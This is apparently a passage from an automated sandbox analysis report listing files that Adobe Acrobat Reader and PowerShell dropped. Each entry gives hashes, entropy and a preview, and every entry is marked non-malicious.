Preview:	{"analyticsData":{"responseGUID":"066c4700-5deb-40e6-8780-c6bbf2677299","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736934847750,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.279126076988608
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHC/XnyGNV2vB3/dVlPIHAR0YVhjoAvJfFldPeUkwRe9:YvXKXyJWvR/ZwHAhhMGz8Ukee9
MD5:	5CB999DED9EB5CB0385649ADA7E0BE1A
SHA1:	BD7FF486236535B6CEC5AE3D76BAA2197A336A76
SHA-256:	07D3F79B8B1459E885022544A33B47E43D01F7137E82BB1F9C9813AA1F5A1B19
SHA-512:	693444F59B442ED7872C7983A2C905EA91A89908F03411C6618D0DD4D6B9A9845380801B8E63D4DE2FBDFCEAD08A05EED6451D0E15845BDFE5E3C6F64B2CD7A9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"066c4700-5deb-40e6-8780-c6bbf2677299","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736934847750,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.293005935236601
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHC/XnyGNV2vB3/dVlPIHAR0YVhjoAvJfzdPeUkwRe9:YvXKXyJWvR/ZwHAhhMGb8Ukee9
MD5:	471B9F9DCDB5611A703F4FBCABB04973
SHA1:	8947213D957B1BD84902B63D4A8A21689CD2D0A9
SHA-256:	23403D39C6B6597869C615D8800B086DAC75BD70B07AA576A63F50A9E6745145
SHA-512:	618998BE6C4A8417A39EC585CE7444B5576AFBD10B0983482119C6F9E3EA4993C907D1EE552B31735BFB89372175657FD4B14701DDE011E69DAB71CECB74261C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"066c4700-5deb-40e6-8780-c6bbf2677299","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736934847750,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.27249643658148
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHC/XnyGNV2vB3/dVlPIHAR0YVhjoAvJfYdPeUkwRe9:YvXKXyJWvR/ZwHAhhMGg8Ukee9
MD5:	8278EA8B17509688565B0A0230CD20F6
SHA1:	A1C629B40F3A77C962CE155D789395ABBB748478
SHA-256:	EE875F6F11C74185AA14DDE7A2A18CB070291C821B9E71EB6050B4EE229CC344
SHA-512:	0EE761CCF52A4EE5B8EA3D32DAB23D274AB24FAC7A15E13208B8DD2C5FAF52B95F00104BD2CD7202144E49EFE539DBE89B654DB87083ADB4EB66CB980BB95E49
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"066c4700-5deb-40e6-8780-c6bbf2677299","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736934847750,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.258361582666176
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHC/XnyGNV2vB3/dVlPIHAR0YVhjoAvJf+dPeUkwRe9:YvXKXyJWvR/ZwHAhhMG28Ukee9
MD5:	6903A48EB60E36FCD2BB69EC17870277
SHA1:	B891A0FF2FC5B4A4EDD3877478DEDAB20E092C12
SHA-256:	7309DD48A20A8765B1E292F8D0BC54D25A74B19416B2DED7C7615A2FBD8E5E0B
SHA-512:	F0D28E2BAF5C5C48975F465A02322207ED02D3C4C19D8F4CE1E4DF563B3F8AF7C67778EBD1D8FB706525BC3A2981C0ACE81B9FBA36711BFBA977382531BC2DCE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"066c4700-5deb-40e6-8780-c6bbf2677299","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736934847750,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.2562325621826185
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHC/XnyGNV2vB3/dVlPIHAR0YVhjoAvJfbPtdPeUkwRe9:YvXKXyJWvR/ZwHAhhMGDV8Ukee9
MD5:	97F5687D0220C1E3B2CBFA7F996D6F1A
SHA1:	F90D4C00CE463C446A7C15E1A60AD7103F330519
SHA-256:	F42B67DCAFD1DE007F3A3B43728BBAD3354B946C57BBBFA9F173F85F35D44386
SHA-512:	9FC0ED923A1138666E09B2CFC9F73DB1DF876CF4B96DB0EA76A03BE71B6DC7C2489A9D97F139C42168FC6A4984EC6302BE53111FA4915E1C5BAFE2948E595AFB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"066c4700-5deb-40e6-8780-c6bbf2677299","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736934847750,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.254245070943107
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHC/XnyGNV2vB3/dVlPIHAR0YVhjoAvJf21rPeUkwRe9:YvXKXyJWvR/ZwHAhhMG+16Ukee9
MD5:	7AE8917C3278F6F8042711DE730A97AF
SHA1:	8535C2EE8CE29F37E89B948DFE662EB44BFF73AF
SHA-256:	8D0E4A6444715F3E076612257C5D6808DC6A16FCF9746C24C84F3E7190717BC2
SHA-512:	3E9662A36178ABAC866503A2F8A1A1E4157FAB8AC7D99DA28BFCEBAB3B8A44652161B3BB5233009ED04182CC5549E8C26A9738BB429451CC277249AD7DC25A1B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"066c4700-5deb-40e6-8780-c6bbf2677299","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736934847750,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.665568843683357
Encrypted:	false
SSDEEP:	24:Yv6XyJWJhV7amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSx:Yv7YJhVLBgkDMUJUAh8cvMx
MD5:	07B9B9FDB3A7B0588C86CA29E67904E1
SHA1:	F55AD72B5B25ADAE3051555A554A84442AB96042
SHA-256:	0E0094F0E46A1239EBDA04619E8B90C956369C87338BD319F0BF40B8C91969E5
SHA-512:	FD1021BD69EBEA6E9B05DFB58F0ACDB2E0928CAF9FDC4AA0846AC9C24B6BC79A21CA081D02E05A433D198B6C66011CF7BB1B2FEC20059763D25CAE38D41F3744
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"066c4700-5deb-40e6-8780-c6bbf2677299","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736934847750,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.2304197204081335
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHC/XnyGNV2vB3/dVlPIHAR0YVhjoAvJfshHHrPeUkwRe9:YvXKXyJWvR/ZwHAhhMGUUUkee9
MD5:	20480BB1B1B453BC40FC65A3E1BA7F06
SHA1:	5DFC85F7AB3A94171D0EAD6CE8AE7554C05C2BA4
SHA-256:	A5A1429664CE224B5B1CCED1E8F9E113E25DE96F9F36285DC16506BDB42EA308
SHA-512:	FBE047526D11E3952D5349387333808C0AAA8A9696F24D3B2252537BD04FF126E9CA497F58B46EEFAA05FC2FF803D6CA40B8E0421339361B16B0620978ADE042
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"066c4700-5deb-40e6-8780-c6bbf2677299","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736934847750,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.244456563563981
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHC/XnyGNV2vB3/dVlPIHAR0YVhjoAvJTqgFCrPeUkwRe9:YvXKXyJWvR/ZwHAhhMGTq16Ukee9
MD5:	75A96752A5615D49A92FFE082B48D9F8
SHA1:	5447AEB957DF91A47034E5EAA626BBA5144688F6
SHA-256:	056FBE804BA7F710B8985DD8FFA88A874BFE73DA8949AEC2DACA2E34EF8643D2
SHA-512:	A0F0132DE4BA4E53FE0781CBCE8012EE4E85E53D3DBEFC2B68B273C9A50B934463078B54496CC70E5B002D1CB8AAC21CFC9FB3794FC3BA629EE30E0DD81B4EAE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"066c4700-5deb-40e6-8780-c6bbf2677299","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736934847750,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.136186749008069
Encrypted:	false
SSDEEP:	24:YSIXauGiayG4A63iqruEwOK1XLGSWpjMj0S7DAz2xy2LSFCG0kOv3VgkGhP/5ZYt:YSVwAv8Dwj7ceb6oynZ0kO9g75Mi9ex
MD5:	828C890F455860A2609E7D513110ED48
SHA1:	F8B6BFD1D07FF651899B0993449907710972E512
SHA-256:	B4BFB7848BC7371D96905B24823B62FE737023B893216B46CF5B0D715AE648CA
SHA-512:	D2EAB1FB20BF009431F8CFB4B92D5AE01422522FDF5E51BE9BDA213FDB8053A7E7205A8F91467B055BBABAA955CA9DB8BB399B203821F045FAFC369811B6F946
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"dad48c1793c49d15632dcd9a0f45a20a","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736759662000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"2b03ece5bde12ce7e51f0557a8c0ddbc","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736759662000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"7f17072fd0cdf1a74488050a95cf6d6c","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736759662000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"cd41dd9e25046f7656b49e280e5b1065","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736759662000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"0bb9340be83fef761be3c68f996f6700","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736759662000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"c9c92e773b47b496634c6c5a23b33b09","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3191887497631871
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9Ohn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMemPtqVpI:TGufl2GL7ms9WR1CPmPbPahmFypilIUd
MD5:	1ABC1474BB2B598883E3B27F6D1A7423
SHA1:	11B42C10018A4632CB8F3E5EC5082FC07FD2CD32
SHA-256:	203C547A3837D3AC4A28EB08E2FA1A1D2549C5977CBEC713788765222D79B3E4
SHA-512:	0BF64D396AFDC72C693D6A54E9DD464BC78DBF24F145F7E74143E08726BEB30AD102FF935ED27251A2F20BE8B981C3C323355071EC0BED790F962349325AD405
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.780867734624701
Encrypted:	false
SSDEEP:	48:7MolWR1CPmPbPahmAypilIjqFl2GL7msz:79WfMwbPahmAiKVmsz
MD5:	971719A516D1F8C8EDD5250885EBDFDD
SHA1:	E307BDE5B4ADDEDFCB3F1CA76FD3382ED1412004
SHA-256:	FB76C53B9E1751F91D4D01B61D1F7CC9DE514F037771ECC35FFBCF70C19B2DC2
SHA-512:	FD6E67C088373567570D8877C2B8F1EFFD1858FC1ACAC8A54A18CD924B41C929A891FEADE33636B3420E165C1F67E9342C3D81492753375A03565E54829D098D
Malicious:	false
Preview:	.... .c......Q............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgG+oLker187tlSCmFdR8RkmAP0Yyu:6a6TZ44ADEG+oLkI18Dwmc0K
MD5:	2DEC0B00C52E1FE9AA08C42A7A177D19
SHA1:	B7B181F3A17D9FD3D34A2850949BBE8EF98AA09F
SHA-256:	B4AE877426837E8508756ACD7C45DA74A65AF9FFCCD6A72A8B62583F436D6874
SHA-512:	FD82D15D4EC607E84E8A129E05D62FC95617E535FBFF34043B25D6AFBE1895506D48064ABBAA53A8166B12BFC6B0B75B3A0C117BE695D47FC83EE93CA4EF34E0
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulxmH/lZ:NllUg
MD5:	D904BDD752B6F23D81E93ECA3BD8E0F3
SHA1:	026D8B0D0F79861746760B0431AD46BAD2A01676
SHA-256:	B393D3CEC8368794972E4ADD978B455A2F5BD37E3A116264DBED14DC8C67D6F2
SHA-512:	5B862B7F0BCCEF48E6A5A270C3F6271D7A5002465EAF347C6A266365F1B2CD3D88144C043D826D3456AA43484124D619BF16F9AEAB1F706463F553EE24CB5740
Malicious:	false
Preview:	@...e................................. ..............@..........

C:\Users\user\AppData\Local\Temp\MSIc4f3.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5085442896850614
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K84jClVlH:Qw946cPbiOxDlbYnuRKTjA9
MD5:	77A5B5D51C79F9DE8E5C1E37B288A905
SHA1:	8C4152063FFBD50B270B821D4799961F2AB7FF2A
SHA-256:	8A160F27A4BCF989F0073698304E3D401A5628E162797E1F0337D85E5253BEBD
SHA-512:	6A4267D4639145D3C660674EF565D4C972ADE15479B220016413E090539997F4F54F82A1CA39C4C851E80B7A54EEBFCCBDF11FA2E7D8B1A4258B939965B4A5D7
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.3./.0.1./.2.0.2.5. . .0.4.:.1.4.:.2.1. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4ft0y1cd.vso.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b5cdgurz.fzp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-13 04-14-15-486.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.359826291499644
Encrypted:	false
SSDEEP:	384:TdvwHNOpLGMmhVneBXCUH4XSWZUFkLsLrQ7vx5pebksg7N5s8kXXra5abSVrUTT0:xdO
MD5:	514AE2D5F5639077B813EBA68D7D5671
SHA1:	BB7EB6F27700F8D3BAAD7F69BA8824089C37596E
SHA-256:	6207E227A0609AAFB0EAF413F9B5E07249CC625B40EDBBE1E77087499C4BB471
SHA-512:	4C64096DC51F73C62AB33D7A3C413DEF0D977F4209C1596A4474C42B2779DB75D7CAC311AC7FC27BE468640BE4578C2519CA6A4ED56F91300EB6D5B7C45633DC
Malicious:	false
Preview:	SessionID=a2404e6d-055c-4ca7-8967-d5de8958cfb1.1736759655496 Timestamp=2025-01-13T04:14:15:496-0500 ThreadID=7472 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=a2404e6d-055c-4ca7-8967-d5de8958cfb1.1736759655496 Timestamp=2025-01-13T04:14:15:497-0500 ThreadID=7472 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=a2404e6d-055c-4ca7-8967-d5de8958cfb1.1736759655496 Timestamp=2025-01-13T04:14:15:497-0500 ThreadID=7472 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=a2404e6d-055c-4ca7-8967-d5de8958cfb1.1736759655496 Timestamp=2025-01-13T04:14:15:497-0500 ThreadID=7472 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=a2404e6d-055c-4ca7-8967-d5de8958cfb1.1736759655496 Timestamp=2025-01-13T04:14:15:497-0500 ThreadID=7472 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.406419326191734
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cbYcbIIsqcbZ:ceo4+rsCdsp
MD5:	FAF55DD5E0CD641345510B83C30FBAB2
SHA1:	C4F00ABA528F1335D5F423329A442CDB3C90C363
SHA-256:	114A4D60EA4C788FDEE6EECEE6336A56D465402907A526FF69F61C1D62CA491E
SHA-512:	60A3AAF14EB358E78B1B244FD5E816B22A4E9FD9050291B888BF669EF406824E3F6CF4F2205B070B53E2E50DB3D0BC6E34672403A84AAFCA5D9ACF3011CBB937
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat 